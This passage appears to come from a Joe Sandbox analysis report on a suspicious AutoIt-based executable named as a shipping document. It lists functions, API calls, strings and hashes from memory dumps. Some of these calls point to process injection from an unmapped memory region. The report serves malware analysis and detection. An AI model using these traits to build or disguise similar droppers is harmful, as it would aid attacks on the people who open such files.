+, xrefs: 00E0305D
TaskbarCreated, xrefs: 00E030A4

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: a4a7dd29229ba6af95f4c73a987a004b39f39684df8fab6403146250970e78c6
Instruction ID: 332379660f03ebb88da2d8e1a8173bc027910bc3f0f738bd0383d308bed45fac
Opcode Fuzzy Hash: a4a7dd29229ba6af95f4c73a987a004b39f39684df8fab6403146250970e78c6
Instruction Fuzzy Hash: 1721F7B2911308AFEB00DFA6EC49B9DBBF4FB08700F10412AF515B62A0D7B255898F91

Function 00E071EB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E04864: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00EC52F8,?,00E037C0,?), ref: 00E04882

Part of subcall function 00E2068B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00E072C5), ref: 00E206AD

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00E07308
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00E3EC21
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00E3EC62
RegCloseKey.ADVAPI32(?), ref: 00E3ECA0
_wcscat.LIBCMT ref: 00E3ECF9

Strings

Include, xrefs: 00E3EC18, 00E3EC59
\Include\, xrefs: 00E072C5
Software\AutoIt v3\AutoIt, xrefs: 00E072FE
\, xrefs: 00E3ED1C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 8e779ac78102485bbccb37ad1dc6b0f5720e4722f9c19e070d6fe61478915450
Instruction ID: ac54f536d3f2b86b46e8d01b34329f994486b64c0f4cee026fa0012db3d7d3b4
Opcode Fuzzy Hash: 8e779ac78102485bbccb37ad1dc6b0f5720e4722f9c19e070d6fe61478915450
Instruction Fuzzy Hash: EC715C715093019ED708EF26E845D9BBBE8FF88340F40692EF445B72B1DB729989CB51

Function 00E03633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00E036D2
KillTimer.USER32(?,00000001), ref: 00E036FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00E0371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00E0372A
CreatePopupMenu.USER32 ref: 00E0373E
PostQuitMessage.USER32(00000000), ref: 00E0375F

Strings

%, xrefs: 00E3D201, 00E3D24F
TaskbarCreated, xrefs: 00E03725

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated$%
API String ID: 129472671-3835587964
Opcode ID: 417bea75c48fb2625bcdf76170970ab0df87d5029cc79e1b3e5cd68c47ae0aaf
Instruction ID: d18264378a9d8a23cb2edd09913742f7d9859e35a9a263f25dd21c9ba6cdcf51
Opcode Fuzzy Hash: 417bea75c48fb2625bcdf76170970ab0df87d5029cc79e1b3e5cd68c47ae0aaf
Instruction Fuzzy Hash: 954109B3214505AFDB189B78FD09FBA369CE740300F14213AF601B62E2CA63A9D59361

Function 00E03A58 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00E03A62
LoadCursorW.USER32(00000000,00007F00), ref: 00E03A71
LoadIconW.USER32(00000063), ref: 00E03A88
LoadIconW.USER32(000000A4), ref: 00E03A9A
LoadIconW.USER32(000000A2), ref: 00E03AAC
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00E03AD2
RegisterClassExW.USER32(?), ref: 00E03B28

Part of subcall function 00E03041: GetSysColorBrush.USER32(0000000F), ref: 00E03074
Part of subcall function 00E03041: RegisterClassExW.USER32(00000030), ref: 00E0309E
Part of subcall function 00E03041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00E030AF
Part of subcall function 00E03041: InitCommonControlsEx.COMCTL32(?), ref: 00E030CC
Part of subcall function 00E03041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00E030DC
Part of subcall function 00E03041: LoadIconW.USER32(000000A9), ref: 00E030F2
Part of subcall function 00E03041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00E03101

Strings

AutoIt v3, xrefs: 00E03B17
0, xrefs: 00E03B06
#, xrefs: 00E03B0D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 114d3048383c00c8d65d92987d6b69b2e08a0b7a1fa04f1b4fe4207d7085ffa5
Instruction ID: e37de65b58f8abdfbec1ceda08f8ef19de38e98558dd7ca8fa4daf40fcb9174f
Opcode Fuzzy Hash: 114d3048383c00c8d65d92987d6b69b2e08a0b7a1fa04f1b4fe4207d7085ffa5
Instruction Fuzzy Hash: D621F772910304AFEB14DFA6EC09B9D7BF4EB08711F10412AF504B62B1D7B666998F94

Function 00E03778 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/AutoIt3OutputDebug, xrefs: 00E038A4
R, xrefs: 00E3D37E
/AutoIt3ExecuteLine, xrefs: 00E038B9
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 00E037C0
CMDLINERAW, xrefs: 00E0380D
CMDLINE, xrefs: 00E03834
/ErrorStdOut, xrefs: 00E0388F
/AutoIt3ExecuteScript, xrefs: 00E038CE

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW$R
API String ID: 1825951767-347772802
Opcode ID: 5da5bbc4c0d03c0aae8705f36eb3621681fe92e52e1b450d2cca7d61ba23266e
Instruction ID: d4ff06f3abe81c29fc3cd7deee08561bd5805e64b6ba0a294f44f1cf1360ac8b
Opcode Fuzzy Hash: 5da5bbc4c0d03c0aae8705f36eb3621681fe92e52e1b450d2cca7d61ba23266e
Instruction Fuzzy Hash: DBA171729102199ACB14EFA0DC91EEEB7FCBF14300F54252AF416B71D2DB756A89CB60

Function 00E0F8CF Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E202E2: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00E20313
Part of subcall function 00E202E2: MapVirtualKeyW.USER32(00000010,00000000), ref: 00E2031B
Part of subcall function 00E202E2: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00E20326
Part of subcall function 00E202E2: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00E20331
Part of subcall function 00E202E2: MapVirtualKeyW.USER32(00000011,00000000), ref: 00E20339
Part of subcall function 00E202E2: MapVirtualKeyW.USER32(00000012,00000000), ref: 00E20341

Part of subcall function 00E16259: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00E0FA90), ref: 00E162B4

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00E0FB2D
OleInitialize.OLE32(00000000), ref: 00E0FBAA
CloseHandle.KERNEL32(00000000), ref: 00E44921

Strings

S, xrefs: 00E0F94B
%, xrefs: 00E0F8F6, 00E0F908, 00E0FACE, 00E0FBB1
<W, xrefs: 00E0FA90
\T, xrefs: 00E0F957

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: <W$\T$%$S
API String ID: 1986988660-191198415
Opcode ID: b8d73c6a978317d2cbaa6a23d20abb6c6787e0452beb8eae8c23e4c510884234
Instruction ID: 0c6b7030e722212ce3f861013d703c784ae484e68d147eeef8cc3450d5c056b9
Opcode Fuzzy Hash: b8d73c6a978317d2cbaa6a23d20abb6c6787e0452beb8eae8c23e4c510884234
Instruction Fuzzy Hash: 4C81B2B2901B40CFC388DF2AA945E597BE5BB98346350513ED42AF7261EB7264CBCF10

Function 00FE9DD8 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 00FE9EA9
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00FEA0CF

Memory Dump Source

Source File: 00000000.00000002.1711546126.0000000000FE7000.00000040.00000020.00020000.00000000.sdmp, Offset: 00FE7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe7000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
Instruction ID: b99eabbc8180d1a70b190c2fbc03746a4e6f7802c4a3127daadb2e00a4c917d0
Opcode Fuzzy Hash: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
Instruction Fuzzy Hash: 7AA12871E04249EBDB14CFA5C888BEEB7B5FF48314F208559E211BB280D775AA40DF61

Function 00E039E7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00E03A15
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00E03A36
ShowWindow.USER32(00000000,?,?), ref: 00E03A4A
ShowWindow.USER32(00000000,?,?), ref: 00E03A53

Strings

AutoIt v3, xrefs: 00E03A0D, 00E03A12, 00E03A13
edit, xrefs: 00E03A30

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: ad4a961119ebd6bdb1229390d6cbcea1ca6d40ae2a127df0cfbef24d416bd14f
Instruction ID: 0479a126abba4d8ffe7be4fd4c6a95d4f69d7c190c43a64db7690fc4e963f133
Opcode Fuzzy Hash: ad4a961119ebd6bdb1229390d6cbcea1ca6d40ae2a127df0cfbef24d416bd14f
Instruction Fuzzy Hash: 01F0DA725416907EEB355727AC49E6B2EBDD7C6F50B00413EF908B2170C6762896DAB0

Function 00FE9B98 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 150
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FE9A88: Sleep.KERNELBASE(000001F4), ref: 00FE9A99

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00FE9CCE

Strings

YWF3ZQY1TECX8A2F1HBNKNWLM4WE, xrefs: 00FE9D31, 00FE9D34

Memory Dump Source

Source File: 00000000.00000002.1711546126.0000000000FE7000.00000040.00000020.00020000.00000000.sdmp, Offset: 00FE7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe7000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CreateFileSleep
String ID: YWF3ZQY1TECX8A2F1HBNKNWLM4WE
API String ID: 2694422964-963838094
Opcode ID: bae94e84dd0134068d9d1811cde04637b07c985f1008a71cd7c4dabf876a5175
Instruction ID: 8d8ff7ac05d6da57ce77240d807c6f3cf9ee3a37e11fd8527fc5919991642db2
Opcode Fuzzy Hash: bae94e84dd0134068d9d1811cde04637b07c985f1008a71cd7c4dabf876a5175
Instruction Fuzzy Hash: 93519431D08288DAEF11D7F8C848BDEBBB4AF55304F144199E6487B2C1C6B90B49CBB5

Function 00E0410D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00E3D51C

Part of subcall function 00E07D2C: _memmove.LIBCMT ref: 00E07D66

_memset.LIBCMT ref: 00E0418D
_wcscpy.LIBCMT ref: 00E041E1
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00E041F1

Strings

Line: , xrefs: 00E3D545

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 4d791857d947747e7c5ce71b7f892696f3e17b989ef187b48dbd7acb5fe2e191
Instruction ID: 7829cefa5364eb630fff276cd867fbab96edb46b78270e0e46e57df9e190b5a5
Opcode Fuzzy Hash: 4d791857d947747e7c5ce71b7f892696f3e17b989ef187b48dbd7acb5fe2e191
Instruction Fuzzy Hash: C131CFB2409304AED325EBA0DD45FDB77E8AF44304F10552EF294B20E1EB70A6C9CB92

Function 00E069CA Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00E04F3D: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00EC52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00E04F6F

_free.LIBCMT ref: 00E3E5BC
_free.LIBCMT ref: 00E3E603

Part of subcall function 00E06BEC: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00E06D0D

Strings

Bad directive syntax error, xrefs: 00E3E5EB
>>>AUTOIT SCRIPT<<<, xrefs: 00E3E392

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: 4785df7550e8644df5ef5da6e9d47c1746714b6bc50b5b1cf075ad732ab1563e
Instruction ID: 4c09cbf8f64d422bd37f475d0c106d1cb61ff32ba60bee020a55168bb2a729c9
Opcode Fuzzy Hash: 4785df7550e8644df5ef5da6e9d47c1746714b6bc50b5b1cf075ad732ab1563e
Instruction Fuzzy Hash: 2C915C71A10219AFCF14EFA4D8959EDBBB4FF08314F14646AF815BB2E1EB30A945CB50

Function 00E035B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00E035A1,SwapMouseButtons,00000004,?), ref: 00E035D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,00E035A1,SwapMouseButtons,00000004,?,?,?,?,00E02754), ref: 00E035F5
RegCloseKey.KERNELBASE(00000000,?,?,00E035A1,SwapMouseButtons,00000004,?,?,?,?,00E02754), ref: 00E03617

Strings

Control Panel\Mouse, xrefs: 00E035D2

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: a52133278c297e70007e502c9e9a6a06f44d8edc1a97b3d846124192c60d125a
Instruction ID: c9434271407363e0fde87fcafb8e679271f678304c5e6708ed28de990b04d98d
Opcode Fuzzy Hash: a52133278c297e70007e502c9e9a6a06f44d8edc1a97b3d846124192c60d125a
Instruction Fuzzy Hash: 4F114871510208BFDB20CF65EC409EEB7BCEF14744F1054A9E809E7250D6729E849760

Function 00FE8A88 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00FE9243
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00FE92D9
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00FE92FB

Memory Dump Source

Source File: 00000000.00000002.1711546126.0000000000FE7000.00000040.00000020.00020000.00000000.sdmp, Offset: 00FE7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe7000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: e3f14b9100784c2d13b4d96e4da997e342e741b63af52aad6d222721779d43e7
Instruction ID: 17fd1bf61a3db9caefa27467636a3ce6adb9c2d92cc4ec412b002b5b5e39edea
Opcode Fuzzy Hash: e3f14b9100784c2d13b4d96e4da997e342e741b63af52aad6d222721779d43e7
Instruction Fuzzy Hash: 9A620C70A14258DBEB24CFA5C841BDEB376EF58300F1091A9D10DEB390E7B99E81DB59

Function 00E69604 Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00E05045: _fseek.LIBCMT ref: 00E0505D

Part of subcall function 00E697DD: _wcscmp.LIBCMT ref: 00E698CD
Part of subcall function 00E697DD: _wcscmp.LIBCMT ref: 00E698E0

_free.LIBCMT ref: 00E6974B
_free.LIBCMT ref: 00E69752
_free.LIBCMT ref: 00E697BD

Part of subcall function 00E22ED5: RtlFreeHeap.NTDLL(00000000,00000000,?,00E29BA4), ref: 00E22EE9
Part of subcall function 00E22ED5: GetLastError.KERNEL32(00000000,?,00E29BA4), ref: 00E22EFB

_free.LIBCMT ref: 00E697C5

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: e04109606b965776ed5639af7f9fd1c9ba74d58510194298a21feaccf490b595
Instruction ID: b730e79a7fc1356c3b47a232d1904d2796dc9c992e8891967c58a5f418883926
Opcode Fuzzy Hash: e04109606b965776ed5639af7f9fd1c9ba74d58510194298a21feaccf490b595
Instruction Fuzzy Hash: 4A5150B1904219AFDF249F64DC85A9EBBB9EF48304F10149EF609B7241DB715980CF58

Function 00E2487A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E24910
__flush.LIBCMT ref: 00E24930
__write.LIBCMT ref: 00E24963
__flsbuf.LIBCMT ref: 00E24991

Part of subcall function 00E28CA8: __getptd_noexit.LIBCMT ref: 00E28CA8

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: c192cc0e54a8f9db57de2592849b4d8a529bf1476805975b929b304db04efb62
Instruction ID: 9d09b5f1be10113f055edcba11b84d42133a96407578f6593ff1dfebf509b5eb
Opcode Fuzzy Hash: c192cc0e54a8f9db57de2592849b4d8a529bf1476805975b929b304db04efb62
Instruction Fuzzy Hash: 574106B070476A9BDB1CCF69E8809AF77E5AF84364B24953DF445E76C0D670DD808B40

Function 00E04DD0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E04E1A

Strings

EA06, xrefs: 00E3DC25
AU3!P/, xrefs: 00E04E14

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove
String ID: AU3!P/$EA06
API String ID: 4104443479-182974850
Opcode ID: f6bf0030e55389ed46573c917291b7c960cfdaa2c40a3d168e0b5177e0d61c96
Instruction ID: 482f4d7d696fcccc0f006783a90561857f4ce8d59d98d000058cdd473772b15c
Opcode Fuzzy Hash: f6bf0030e55389ed46573c917291b7c960cfdaa2c40a3d168e0b5177e0d61c96
Instruction Fuzzy Hash: A0415BE2A041585BCF218B64CA51BFF7FA5AB45304F287079EA46BF1C2C5219DC687A1

